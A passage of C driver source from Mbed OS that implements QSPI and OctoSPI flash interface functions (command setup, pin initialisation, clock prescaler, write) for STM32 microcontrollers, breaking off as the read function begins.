= L"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
the_stack_data/225143319.c | /*
* Copyright (c) 2017, Arm Limited and affiliates.
* Copyright (c) 2017, STMicroelectronics.
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#if DEVICE_QSPI
#include "qspi_api.h"
#include "mbed_error.h"
#include "mbed_debug.h"
#include "cmsis.h"
#include "pinmap.h"
#include "PeripheralPins.h"
#include "mbed-trace/mbed_trace.h"
#if defined(OCTOSPI1)
#define TRACE_GROUP "STOS"
#else
#define TRACE_GROUP "STQS"
#endif /* OCTOSPI1 */
// activate / de-activate extra debug
#define qspi_api_c_debug 0
/* Max amount of flash size is 4Gbytes */
/* hence 2^(31+1), then FLASH_SIZE_DEFAULT = 1<<31 */
#define QSPI_FLASH_SIZE_DEFAULT 0x80000000
#if defined(OCTOSPI1)
static uint32_t get_alt_bytes_size(const uint32_t num_bytes)
{
switch (num_bytes) {
case 1:
return HAL_OSPI_ALTERNATE_BYTES_8_BITS;
case 2:
return HAL_OSPI_ALTERNATE_BYTES_16_BITS;
case 3:
return HAL_OSPI_ALTERNATE_BYTES_24_BITS;
case 4:
return HAL_OSPI_ALTERNATE_BYTES_32_BITS;
}
error("Invalid alt bytes size");
return 0xFFFFFFFF;
}
#else /* OCTOSPI1 */
static uint32_t get_alt_bytes_size(const uint32_t num_bytes)
{
switch (num_bytes) {
case 1:
return QSPI_ALTERNATE_BYTES_8_BITS;
case 2:
return QSPI_ALTERNATE_BYTES_16_BITS;
case 3:
return QSPI_ALTERNATE_BYTES_24_BITS;
case 4:
return QSPI_ALTERNATE_BYTES_32_BITS;
}
error("Invalid alt bytes size");
return 0xFFFFFFFF;
}
#endif /* OCTOSPI1 */
#if defined(OCTOSPI1)
qspi_status_t qspi_prepare_command(const qspi_command_t *command, OSPI_RegularCmdTypeDef *st_command)
{
debug_if(qspi_api_c_debug, "qspi_prepare_command In: instruction.value %x dummy_count %x address.bus_width %x address.disabled %x address.value %x address.size %x\n",
command->instruction.value, command->dummy_count, command->address.bus_width, command->address.disabled, command->address.value, command->address.size);
st_command->FlashId = HAL_OSPI_FLASH_ID_1;
if (command->instruction.disabled == true) {
st_command->InstructionMode = HAL_OSPI_INSTRUCTION_NONE;
st_command->Instruction = 0;
} else {
st_command->Instruction = command->instruction.value;
switch (command->instruction.bus_width) {
case QSPI_CFG_BUS_SINGLE:
st_command->InstructionMode = HAL_OSPI_INSTRUCTION_1_LINE;
break;
case QSPI_CFG_BUS_DUAL:
st_command->InstructionMode = HAL_OSPI_INSTRUCTION_2_LINES;
break;
case QSPI_CFG_BUS_QUAD:
st_command->InstructionMode = HAL_OSPI_INSTRUCTION_4_LINES;
break;
default:
error("Command param error: wrong instruction format\n");
return QSPI_STATUS_ERROR;
}
}
st_command->InstructionSize = HAL_OSPI_INSTRUCTION_8_BITS;
st_command->InstructionDtrMode = HAL_OSPI_INSTRUCTION_DTR_DISABLE;
st_command->DummyCycles = command->dummy_count;
// these are target specific settings, use default values
st_command->SIOOMode = HAL_OSPI_SIOO_INST_EVERY_CMD;
st_command->DataDtrMode = HAL_OSPI_DATA_DTR_DISABLE;
st_command->AddressDtrMode = HAL_OSPI_ADDRESS_DTR_DISABLE;
st_command->AlternateBytesDtrMode = HAL_OSPI_ALTERNATE_BYTES_DTR_DISABLE;
st_command->DQSMode = HAL_OSPI_DQS_DISABLE;
st_command->OperationType = HAL_OSPI_OPTYPE_COMMON_CFG;
if (command->address.disabled == true) {
st_command->AddressMode = HAL_OSPI_ADDRESS_NONE;
st_command->AddressSize = 0;
} else {
st_command->Address = command->address.value;
switch (command->address.bus_width) {
case QSPI_CFG_BUS_SINGLE:
st_command->AddressMode = HAL_OSPI_ADDRESS_1_LINE;
break;
case QSPI_CFG_BUS_DUAL:
st_command->AddressMode = HAL_OSPI_ADDRESS_2_LINES;
break;
case QSPI_CFG_BUS_QUAD:
st_command->AddressMode = HAL_OSPI_ADDRESS_4_LINES;
break;
default:
error("Command param error: wrong address size\n");
return QSPI_STATUS_ERROR;
}
switch (command->address.size) {
case QSPI_CFG_ADDR_SIZE_8:
st_command->AddressSize = HAL_OSPI_ADDRESS_8_BITS;
break;
case QSPI_CFG_ADDR_SIZE_16:
st_command->AddressSize = HAL_OSPI_ADDRESS_16_BITS;
break;
case QSPI_CFG_ADDR_SIZE_24:
st_command->AddressSize = HAL_OSPI_ADDRESS_24_BITS;
break;
case QSPI_CFG_ADDR_SIZE_32:
st_command->AddressSize = HAL_OSPI_ADDRESS_32_BITS;
break;
default:
error("Command param error: wrong address size\n");
return QSPI_STATUS_ERROR;
}
}
if (command->alt.disabled == true) {
st_command->AlternateBytesMode = HAL_OSPI_ALTERNATE_BYTES_NONE;
st_command->AlternateBytesSize = 0;
} else {
uint8_t alt_lines = 0;
switch (command->alt.bus_width) {
case QSPI_CFG_BUS_SINGLE:
st_command->AlternateBytesMode = HAL_OSPI_ALTERNATE_BYTES_1_LINE;
alt_lines = 1;
break;
case QSPI_CFG_BUS_DUAL:
st_command->AlternateBytesMode = HAL_OSPI_ALTERNATE_BYTES_2_LINES;
alt_lines = 2;
break;
case QSPI_CFG_BUS_QUAD:
st_command->AlternateBytesMode = HAL_OSPI_ALTERNATE_BYTES_4_LINES;
alt_lines = 4;
break;
default:
st_command->AlternateBytesMode = HAL_OSPI_ALTERNATE_BYTES_NONE;
error("Command param error: invalid alt bytes mode\n");
return QSPI_STATUS_ERROR;
}
// Alt size must be a multiple of the number of bus lines used (i.e. a whole number of cycles)
if (command->alt.size % alt_lines != 0) {
error("Command param error: incompatible alt size and alt bus width\n");
return QSPI_STATUS_ERROR;
}
// Round up to nearest byte - unused parts of byte act as dummy cycles
uint32_t alt_bytes = ((command->alt.size - 1) >> 3) + 1;
// Maximum of 4 alt bytes
if (alt_bytes > 4) {
error("Command param error: alt size exceeds maximum of 32 bits\n");
return QSPI_STATUS_ERROR;
}
// Unused bits in most significant byte of alt
uint8_t leftover_bits = (alt_bytes << 3) - command->alt.size;
if (leftover_bits != 0) {
// Account for dummy cycles that will be spent in the alt portion of the command
uint8_t integrated_dummy_cycles = leftover_bits / alt_lines;
if (st_command->DummyCycles < integrated_dummy_cycles) {
// Not enough dummy cycles to account for a short alt
error("Command param error: not enough dummy cycles to make up for given alt size\n");
return QSPI_STATUS_ERROR;
}
st_command->DummyCycles -= integrated_dummy_cycles;
// Align alt value to the end of the most significant byte
st_command->AlternateBytes = command->alt.value << leftover_bits;
} else {
st_command->AlternateBytes = command->alt.value;
}
st_command->AlternateBytesSize = get_alt_bytes_size(alt_bytes);
}
switch (command->data.bus_width) {
case QSPI_CFG_BUS_SINGLE:
st_command->DataMode = HAL_OSPI_DATA_1_LINE;
break;
case QSPI_CFG_BUS_DUAL:
st_command->DataMode = HAL_OSPI_DATA_2_LINES;
break;
case QSPI_CFG_BUS_QUAD:
st_command->DataMode = HAL_OSPI_DATA_4_LINES;
break;
default:
st_command->DataMode = HAL_OSPI_DATA_NONE;
break;
}
debug_if(qspi_api_c_debug, "qspi_prepare_command Out: InstructionMode %x Instruction %x AddressMode %x AddressSize %x Address %x DataMode %x\n",
st_command->InstructionMode, st_command->Instruction, st_command->AddressMode, st_command->AddressSize, st_command->Address, st_command->DataMode);
return QSPI_STATUS_OK;
}
#else /* OCTOSPI */
qspi_status_t qspi_prepare_command(const qspi_command_t *command, QSPI_CommandTypeDef *st_command)
{
debug_if(qspi_api_c_debug, "qspi_prepare_command In: instruction.value %x dummy_count %x address.bus_width %x address.disabled %x address.value %x address.size %x\n",
command->instruction.value, command->dummy_count, command->address.bus_width, command->address.disabled, command->address.value, command->address.size);
// TODO: shift these around to get more dynamic mapping
switch (command->instruction.bus_width) {
case QSPI_CFG_BUS_SINGLE:
st_command->InstructionMode = QSPI_INSTRUCTION_1_LINE;
break;
case QSPI_CFG_BUS_DUAL:
st_command->InstructionMode = QSPI_INSTRUCTION_2_LINES;
break;
case QSPI_CFG_BUS_QUAD:
st_command->InstructionMode = QSPI_INSTRUCTION_4_LINES;
break;
default:
st_command->InstructionMode = QSPI_INSTRUCTION_NONE;
break;
}
st_command->Instruction = command->instruction.value;
st_command->DummyCycles = command->dummy_count;
// these are target specific settings, use default values
st_command->SIOOMode = QSPI_SIOO_INST_EVERY_CMD;
st_command->DdrMode = QSPI_DDR_MODE_DISABLE;
st_command->DdrHoldHalfCycle = QSPI_DDR_HHC_ANALOG_DELAY;
if (command->address.disabled == true) {
st_command->AddressMode = QSPI_ADDRESS_NONE;
st_command->AddressSize = 0;
} else {
st_command->Address = command->address.value;
switch (command->address.bus_width) {
case QSPI_CFG_BUS_SINGLE:
st_command->AddressMode = QSPI_ADDRESS_1_LINE;
break;
case QSPI_CFG_BUS_DUAL:
st_command->AddressMode = QSPI_ADDRESS_2_LINES;
break;
case QSPI_CFG_BUS_QUAD:
st_command->AddressMode = QSPI_ADDRESS_4_LINES;
break;
default:
error("Command param error: wrong address size\n");
return QSPI_STATUS_ERROR;
}
switch (command->address.size) {
case QSPI_CFG_ADDR_SIZE_8:
st_command->AddressSize = QSPI_ADDRESS_8_BITS;
break;
case QSPI_CFG_ADDR_SIZE_16:
st_command->AddressSize = QSPI_ADDRESS_16_BITS;
break;
case QSPI_CFG_ADDR_SIZE_24:
st_command->AddressSize = QSPI_ADDRESS_24_BITS;
break;
case QSPI_CFG_ADDR_SIZE_32:
st_command->AddressSize = QSPI_ADDRESS_32_BITS;
break;
default:
error("Command param error: wrong address size\n");
return QSPI_STATUS_ERROR;
}
}
uint8_t alt_lines = 0;
switch (command->alt.bus_width) {
case QSPI_CFG_BUS_SINGLE:
st_command->AlternateByteMode = QSPI_ALTERNATE_BYTES_1_LINE;
alt_lines = 1;
break;
case QSPI_CFG_BUS_DUAL:
st_command->AlternateByteMode = QSPI_ALTERNATE_BYTES_2_LINES;
alt_lines = 2;
break;
case QSPI_CFG_BUS_QUAD:
st_command->AlternateByteMode = QSPI_ALTERNATE_BYTES_4_LINES;
alt_lines = 4;
break;
default:
st_command->AlternateByteMode = QSPI_ALTERNATE_BYTES_NONE;
break;
}
if (command->alt.disabled == true) {
st_command->AlternateByteMode = QSPI_ALTERNATE_BYTES_NONE;
st_command->AlternateBytesSize = 0;
} else {
// Alt size must be a multiple of the number of bus lines used (i.e. a whole number of cycles)
if ((alt_lines == 0) || (command->alt.size % alt_lines != 0)) {
return QSPI_STATUS_ERROR;
}
// Round up to nearest byte - unused parts of byte act as dummy cycles
uint32_t alt_bytes = ((command->alt.size - 1) >> 3) + 1;
// Maximum of 4 alt bytes
if (alt_bytes > 4) {
return QSPI_STATUS_ERROR;
}
// Unused bits in most significant byte of alt
uint8_t leftover_bits = (alt_bytes << 3) - command->alt.size;
if (leftover_bits != 0) {
// Account for dummy cycles that will be spent in the alt portion of the command
uint8_t integrated_dummy_cycles = leftover_bits / alt_lines;
if (st_command->DummyCycles < integrated_dummy_cycles) {
// Not enough dummy cycles to account for a short alt
return QSPI_STATUS_ERROR;
}
st_command->DummyCycles -= integrated_dummy_cycles;
// Align alt value to the end of the most significant byte
st_command->AlternateBytes = command->alt.value << leftover_bits;
} else {
st_command->AlternateBytes = command->alt.value;
}
st_command->AlternateBytesSize = get_alt_bytes_size(alt_bytes);
}
switch (command->data.bus_width) {
case QSPI_CFG_BUS_SINGLE:
st_command->DataMode = QSPI_DATA_1_LINE;
break;
case QSPI_CFG_BUS_DUAL:
st_command->DataMode = QSPI_DATA_2_LINES;
break;
case QSPI_CFG_BUS_QUAD:
st_command->DataMode = QSPI_DATA_4_LINES;
break;
default:
st_command->DataMode = QSPI_DATA_NONE;
break;
}
st_command->NbData = 0;
debug_if(qspi_api_c_debug, "qspi_prepare_command Out: InstructionMode %x Instruction %x AddressMode %x AddressSize %x Address %x DataMode %x\n",
st_command->InstructionMode, st_command->Instruction, st_command->AddressMode, st_command->AddressSize, st_command->Address, st_command->DataMode);
return QSPI_STATUS_OK;
}
#endif /* OCTOSPI */
#if defined(OCTOSPI1)
#if STATIC_PINMAP_READY
#define QSPI_INIT_DIRECT qspi_init_direct
qspi_status_t qspi_init_direct(qspi_t *obj, const qspi_pinmap_t *pinmap, uint32_t hz, uint8_t mode)
#else
#define QSPI_INIT_DIRECT _qspi_init_direct
static qspi_status_t _qspi_init_direct(qspi_t *obj, const qspi_pinmap_t *pinmap, uint32_t hz, uint8_t mode)
#endif
{
tr_debug("qspi_init mode %u", mode);
// Reset handle internal state
obj->handle.State = HAL_OSPI_STATE_RESET;
// Set default OCTOSPI handle values
obj->handle.Init.DualQuad = HAL_OSPI_DUALQUAD_DISABLE;
#if defined(TARGET_MX25LM51245G)
obj->handle.Init.MemoryType = HAL_OSPI_MEMTYPE_MACRONIX; // Read sequence in DTR mode: D1-D0-D3-D2
#else
obj->handle.Init.MemoryType = HAL_OSPI_MEMTYPE_MICRON; // Read sequence in DTR mode: D0-D1-D2-D3
#endif
obj->handle.Init.ClockPrescaler = 4; // default value, will be overwritten in qspi_frequency
obj->handle.Init.FifoThreshold = 4;
obj->handle.Init.SampleShifting = HAL_OSPI_SAMPLE_SHIFTING_NONE;
obj->handle.Init.DeviceSize = POSITION_VAL(QSPI_FLASH_SIZE_DEFAULT) - 1;
obj->handle.Init.ChipSelectHighTime = 3;
obj->handle.Init.FreeRunningClock = HAL_OSPI_FREERUNCLK_DISABLE;
#if defined(HAL_OSPI_WRAP_NOT_SUPPORTED) // removed in STM32L4
obj->handle.Init.WrapSize = HAL_OSPI_WRAP_NOT_SUPPORTED;
#endif
obj->handle.Init.ClockMode = mode == 0 ? HAL_OSPI_CLOCK_MODE_0 : HAL_OSPI_CLOCK_MODE_3;
obj->handle.Init.DelayHoldQuarterCycle = HAL_OSPI_DHQC_ENABLE;
obj->handle.Init.ChipSelectBoundary = 0;
#if defined(HAL_OSPI_DELAY_BLOCK_USED) // STM32L5
obj->handle.Init.DelayBlockBypass = HAL_OSPI_DELAY_BLOCK_USED;
#endif
// tested all combinations, take first
obj->qspi = pinmap->peripheral;
#if defined(OCTOSPI1)
if (obj->qspi == QSPI_1) {
obj->handle.Instance = OCTOSPI1;
}
#endif
#if defined(OCTOSPI2)
if (obj->qspi == QSPI_2) {
obj->handle.Instance = OCTOSPI2;
}
#endif
#if defined(OCTOSPI1)
if (obj->qspi == QSPI_1) {
__HAL_RCC_OSPI1_CLK_ENABLE();
__HAL_RCC_OSPI1_FORCE_RESET();
__HAL_RCC_OSPI1_RELEASE_RESET();
}
#endif
#if defined(OCTOSPI2)
if (obj->qspi == QSPI_2) {
__HAL_RCC_OSPI2_CLK_ENABLE();
__HAL_RCC_OSPI2_FORCE_RESET();
__HAL_RCC_OSPI2_RELEASE_RESET();
}
#endif
// pinmap for pins (enable clock)
obj->io0 = pinmap->data0_pin;
pin_function(pinmap->data0_pin, pinmap->data0_function);
pin_mode(pinmap->data0_pin, PullNone);
obj->io1 = pinmap->data1_pin;
pin_function(pinmap->data1_pin, pinmap->data1_function);
pin_mode(pinmap->data1_pin, PullNone);
obj->io2 = pinmap->data2_pin;
pin_function(pinmap->data2_pin, pinmap->data2_function);
pin_mode(pinmap->data2_pin, PullNone);
obj->io3 = pinmap->data3_pin;
pin_function(pinmap->data3_pin, pinmap->data3_function);
pin_mode(pinmap->data3_pin, PullNone);
obj->sclk = pinmap->sclk_pin;
pin_function(pinmap->sclk_pin, pinmap->sclk_function);
pin_mode(pinmap->sclk_pin, PullNone);
obj->ssel = pinmap->ssel_pin;
pin_function(pinmap->ssel_pin, pinmap->ssel_function);
pin_mode(pinmap->ssel_pin, PullNone);
#if defined(OCTOSPI2)
__HAL_RCC_OSPIM_CLK_ENABLE();
OSPIM_CfgTypeDef OSPIM_Cfg_Struct = {0};
/* The OctoSPI IO Manager OCTOSPIM configuration is supported in a simplified mode in mbed-os
* QSPI1 signals are mapped to port 1 and QSPI2 signals are mapped to port 2.
* This is coded in this way in PeripheralPins.c */
if (obj->qspi == QSPI_1) {
OSPIM_Cfg_Struct.ClkPort = 1;
OSPIM_Cfg_Struct.DQSPort = 1;
OSPIM_Cfg_Struct.NCSPort = 1;
OSPIM_Cfg_Struct.IOLowPort = HAL_OSPIM_IOPORT_1_LOW;
OSPIM_Cfg_Struct.IOHighPort = HAL_OSPIM_IOPORT_1_HIGH;
} else {
OSPIM_Cfg_Struct.ClkPort = 2;
OSPIM_Cfg_Struct.DQSPort = 2;
OSPIM_Cfg_Struct.NCSPort = 2;
OSPIM_Cfg_Struct.IOLowPort = HAL_OSPIM_IOPORT_2_LOW;
OSPIM_Cfg_Struct.IOHighPort = HAL_OSPIM_IOPORT_2_HIGH;
}
if (HAL_OSPIM_Config(&obj->handle, &OSPIM_Cfg_Struct, HAL_OSPI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
tr_error("HAL_OSPIM_Config error");
return QSPI_STATUS_ERROR;
}
#endif
return qspi_frequency(obj, hz);
}
qspi_status_t qspi_init(qspi_t *obj, PinName io0, PinName io1, PinName io2, PinName io3, PinName sclk, PinName ssel, uint32_t hz, uint8_t mode)
{
QSPIName qspiio0name = (QSPIName)pinmap_peripheral(io0, PinMap_QSPI_DATA0);
QSPIName qspiio1name = (QSPIName)pinmap_peripheral(io1, PinMap_QSPI_DATA1);
QSPIName qspiio2name = (QSPIName)pinmap_peripheral(io2, PinMap_QSPI_DATA2);
QSPIName qspiio3name = (QSPIName)pinmap_peripheral(io3, PinMap_QSPI_DATA3);
QSPIName qspiclkname = (QSPIName)pinmap_peripheral(sclk, PinMap_QSPI_SCLK);
QSPIName qspisselname = (QSPIName)pinmap_peripheral(ssel, PinMap_QSPI_SSEL);
QSPIName qspi_data_first = (QSPIName)pinmap_merge(qspiio0name, qspiio1name);
QSPIName qspi_data_second = (QSPIName)pinmap_merge(qspiio2name, qspiio3name);
QSPIName qspi_data_third = (QSPIName)pinmap_merge(qspiclkname, qspisselname);
if (qspi_data_first != qspi_data_second || qspi_data_second != qspi_data_third ||
qspi_data_first != qspi_data_third) {
return QSPI_STATUS_INVALID_PARAMETER;
}
int peripheral = (int)qspi_data_first;
int function_io0 = (int)pinmap_find_function(io0, PinMap_QSPI_DATA0);
int function_io1 = (int)pinmap_find_function(io1, PinMap_QSPI_DATA1);
int function_io2 = (int)pinmap_find_function(io2, PinMap_QSPI_DATA2);
int function_io3 = (int)pinmap_find_function(io3, PinMap_QSPI_DATA3);
int function_sclk = (int)pinmap_find_function(sclk, PinMap_QSPI_SCLK);
int function_ssel = (int)pinmap_find_function(ssel, PinMap_QSPI_SSEL);
const qspi_pinmap_t static_pinmap = {peripheral, io0, function_io0, io1, function_io1, io2, function_io2, io3, function_io3, sclk, function_sclk, ssel, function_ssel};
return QSPI_INIT_DIRECT(obj, &static_pinmap, hz, mode);
}
#else /* OCTOSPI */
#if STATIC_PINMAP_READY
#define QSPI_INIT_DIRECT qspi_init_direct
qspi_status_t qspi_init_direct(qspi_t *obj, const qspi_pinmap_t *pinmap, uint32_t hz, uint8_t mode)
#else
#define QSPI_INIT_DIRECT _qspi_init_direct
static qspi_status_t _qspi_init_direct(qspi_t *obj, const qspi_pinmap_t *pinmap, uint32_t hz, uint8_t mode)
#endif
{
tr_debug("qspi_init mode %u", mode);
// Enable interface clock for QSPI
__HAL_RCC_QSPI_CLK_ENABLE();
// Reset QSPI
#if defined(DUAL_CORE) && (TARGET_STM32H7)
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) {
}
#endif /* DUAL_CORE */
__HAL_RCC_QSPI_FORCE_RESET();
__HAL_RCC_QSPI_RELEASE_RESET();
#if defined(DUAL_CORE) && (TARGET_STM32H7)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, HSEM_CR_COREID_CURRENT);
#endif /* DUAL_CORE */
// Reset handle internal state
obj->handle.State = HAL_QSPI_STATE_RESET;
obj->handle.Lock = HAL_UNLOCKED;
// Set default QSPI handle values
obj->handle.Init.ClockPrescaler = 1;
obj->handle.Init.FifoThreshold = 1;
#if defined(QSPI_NO_SAMPLE_SHIFT)
obj->handle.Init.SampleShifting = QSPI_SAMPLE_SHIFTING_NONE;
#else
obj->handle.Init.SampleShifting = QSPI_SAMPLE_SHIFTING_HALFCYCLE;
#endif
obj->handle.Init.FlashSize = POSITION_VAL(QSPI_FLASH_SIZE_DEFAULT) - 1;
obj->handle.Init.ChipSelectHighTime = QSPI_CS_HIGH_TIME_5_CYCLE;
obj->handle.Init.ClockMode = QSPI_CLOCK_MODE_0;
#ifdef QSPI_DUALFLASH_ENABLE
obj->handle.Init.FlashID = QSPI_FLASH_ID_1;
obj->handle.Init.DualFlash = QSPI_DUALFLASH_DISABLE;
#endif
obj->handle.Init.ClockMode = mode == 0 ? QSPI_CLOCK_MODE_0 : QSPI_CLOCK_MODE_3;
// tested all combinations, take first
obj->handle.Instance = (QUADSPI_TypeDef *)pinmap->peripheral;
// pinmap for pins (enable clock)
obj->io0 = pinmap->data0_pin;
pin_function(pinmap->data0_pin, pinmap->data0_function);
pin_mode(pinmap->data0_pin, PullNone);
obj->io1 = pinmap->data1_pin;
pin_function(pinmap->data1_pin, pinmap->data1_function);
pin_mode(pinmap->data1_pin, PullNone);
obj->io2 = pinmap->data2_pin;
pin_function(pinmap->data2_pin, pinmap->data2_function);
pin_mode(pinmap->data2_pin, PullNone);
obj->io3 = pinmap->data3_pin;
pin_function(pinmap->data3_pin, pinmap->data3_function);
pin_mode(pinmap->data3_pin, PullNone);
obj->sclk = pinmap->sclk_pin;
pin_function(pinmap->sclk_pin, pinmap->sclk_function);
pin_mode(pinmap->sclk_pin, PullNone);
obj->ssel = pinmap->ssel_pin;
pin_function(pinmap->ssel_pin, pinmap->ssel_function);
pin_mode(pinmap->ssel_pin, PullNone);
return qspi_frequency(obj, hz);
}
qspi_status_t qspi_init(qspi_t *obj, PinName io0, PinName io1, PinName io2, PinName io3, PinName sclk, PinName ssel, uint32_t hz, uint8_t mode)
{
QSPIName qspiio0name = (QSPIName)pinmap_peripheral(io0, PinMap_QSPI_DATA0);
QSPIName qspiio1name = (QSPIName)pinmap_peripheral(io1, PinMap_QSPI_DATA1);
QSPIName qspiio2name = (QSPIName)pinmap_peripheral(io2, PinMap_QSPI_DATA2);
QSPIName qspiio3name = (QSPIName)pinmap_peripheral(io3, PinMap_QSPI_DATA3);
QSPIName qspiclkname = (QSPIName)pinmap_peripheral(sclk, PinMap_QSPI_SCLK);
QSPIName qspisselname = (QSPIName)pinmap_peripheral(ssel, PinMap_QSPI_SSEL);
QSPIName qspi_data_first = (QSPIName)pinmap_merge(qspiio0name, qspiio1name);
QSPIName qspi_data_second = (QSPIName)pinmap_merge(qspiio2name, qspiio3name);
QSPIName qspi_data_third = (QSPIName)pinmap_merge(qspiclkname, qspisselname);
if (qspi_data_first != qspi_data_second || qspi_data_second != qspi_data_third ||
qspi_data_first != qspi_data_third) {
return QSPI_STATUS_INVALID_PARAMETER;
}
int peripheral = (int)qspi_data_first;
int function_io0 = (int)pinmap_find_function(io0, PinMap_QSPI_DATA0);
int function_io1 = (int)pinmap_find_function(io1, PinMap_QSPI_DATA1);
int function_io2 = (int)pinmap_find_function(io2, PinMap_QSPI_DATA2);
int function_io3 = (int)pinmap_find_function(io3, PinMap_QSPI_DATA3);
int function_sclk = (int)pinmap_find_function(sclk, PinMap_QSPI_SCLK);
int function_ssel = (int)pinmap_find_function(ssel, PinMap_QSPI_SSEL);
const qspi_pinmap_t static_pinmap = {peripheral, io0, function_io0, io1, function_io1, io2, function_io2, io3, function_io3, sclk, function_sclk, ssel, function_ssel};
return QSPI_INIT_DIRECT(obj, &static_pinmap, hz, mode);
}
#endif /* OCTOSPI */
#if defined(OCTOSPI1)
qspi_status_t qspi_free(qspi_t *obj)
{
tr_debug("qspi_free");
if (HAL_OSPI_DeInit(&obj->handle) != HAL_OK) {
return QSPI_STATUS_ERROR;
}
#if defined(OCTOSPI1)
if (obj->qspi == QSPI_1) {
__HAL_RCC_OSPI1_FORCE_RESET();
__HAL_RCC_OSPI1_CLK_DISABLE();
}
#endif
#if defined(OCTOSPI2)
if (obj->qspi == QSPI_2) {
__HAL_RCC_OSPI2_FORCE_RESET();
__HAL_RCC_OSPI2_CLK_DISABLE();
}
#endif
// Configure GPIOs
pin_function(obj->io0, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->io1, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->io2, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->io3, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->sclk, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->ssel, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
(void)(obj);
return QSPI_STATUS_OK;
}
#else /* OCTOSPI */
qspi_status_t qspi_free(qspi_t *obj)
{
tr_debug("qspi_free");
if (HAL_QSPI_DeInit(&obj->handle) != HAL_OK) {
return QSPI_STATUS_ERROR;
}
// Reset QSPI
#if defined(DUAL_CORE) && (TARGET_STM32H7)
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) {
}
#endif /* DUAL_CORE */
__HAL_RCC_QSPI_FORCE_RESET();
__HAL_RCC_QSPI_RELEASE_RESET();
#if defined(DUAL_CORE) && (TARGET_STM32H7)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, HSEM_CR_COREID_CURRENT);
#endif /* DUAL_CORE */
// Disable interface clock for QSPI
__HAL_RCC_QSPI_CLK_DISABLE();
// Configure GPIOs
pin_function(obj->io0, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->io1, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->io2, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->io3, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->sclk, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj->ssel, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
(void)(obj);
return QSPI_STATUS_OK;
}
#endif /* OCTOSPI */
#if defined(OCTOSPI1)
qspi_status_t qspi_frequency(qspi_t *obj, int hz)
{
tr_debug("qspi_frequency hz %d", hz);
qspi_status_t status = QSPI_STATUS_OK;
/* HCLK drives QSPI. QSPI clock depends on prescaler value:
* 0: Freq = HCLK
* 1: Freq = HCLK/2
* ...
* 255: Freq = HCLK/256 (minimum value)
*/
int div = HAL_RCC_GetHCLKFreq() / hz;
if (div > 255) {
div = 255;
}
obj->handle.Init.ClockPrescaler = div;
if (HAL_OSPI_Init(&obj->handle) != HAL_OK) {
tr_error("HAL_OSPI_Init error");
status = QSPI_STATUS_ERROR;
}
return status;
}
#else /* OCTOSPI */
qspi_status_t qspi_frequency(qspi_t *obj, int hz)
{
tr_debug("qspi_frequency hz %d", hz);
qspi_status_t status = QSPI_STATUS_OK;
/* HCLK drives QSPI. QSPI clock depends on prescaler value:
* 0: Freq = HCLK
* 1: Freq = HCLK/2
* ...
* 255: Freq = HCLK/256 (minimum value)
*/
int div = HAL_RCC_GetHCLKFreq() / hz;
if (div > 255) {
div = 255;
} else {
if ((HAL_RCC_GetHCLKFreq() % hz) == 0) {
div = div - 1;
}
}
obj->handle.Init.ClockPrescaler = div;
if (HAL_QSPI_Init(&obj->handle) != HAL_OK) {
status = QSPI_STATUS_ERROR;
}
return status;
}
#endif /* OCTOSPI */
#if defined(OCTOSPI1)
qspi_status_t qspi_write(qspi_t *obj, const qspi_command_t *command, const void *data, size_t *length)
{
debug_if(qspi_api_c_debug, "qspi_write size %u\n", *length);
OSPI_RegularCmdTypeDef st_command;
qspi_status_t status = qspi_prepare_command(command, &st_command);
if (status != QSPI_STATUS_OK) {
return status;
}
st_command.NbData = *length;
if (HAL_OSPI_Command(&obj->handle, &st_command, HAL_OSPI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
tr_error("HAL_OSPI_Command error");
status = QSPI_STATUS_ERROR;
} else {
if (HAL_OSPI_Transmit(&obj->handle, (uint8_t *)data, HAL_OSPI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
tr_error("HAL_OSPI_Transmit error");
status = QSPI_STATUS_ERROR;
}
}
return status;
}
#else /* OCTOSPI */
qspi_status_t qspi_write(qspi_t *obj, const qspi_command_t *command, const void *data, size_t *length)
{
debug_if(qspi_api_c_debug, "qspi_write size %u\n", *length);
QSPI_CommandTypeDef st_command;
qspi_status_t status = qspi_prepare_command(command, &st_command);
if (status != QSPI_STATUS_OK) {
return status;
}
st_command.NbData = *length;
if (HAL_QSPI_Command(&obj->handle, &st_command, HAL_QPSI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
status = QSPI_STATUS_ERROR;
} else {
if (HAL_QSPI_Transmit(&obj->handle, (uint8_t *)data, HAL_QPSI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
status = QSPI_STATUS_ERROR;
}
}
return status;
}
#endif /* OCTOSPI */
#if defined(OCTOSPI1)
qspi_status_t qspi_read(qspi_t *obj, const qspi_command_t *command, void *data, size_t *length)
{
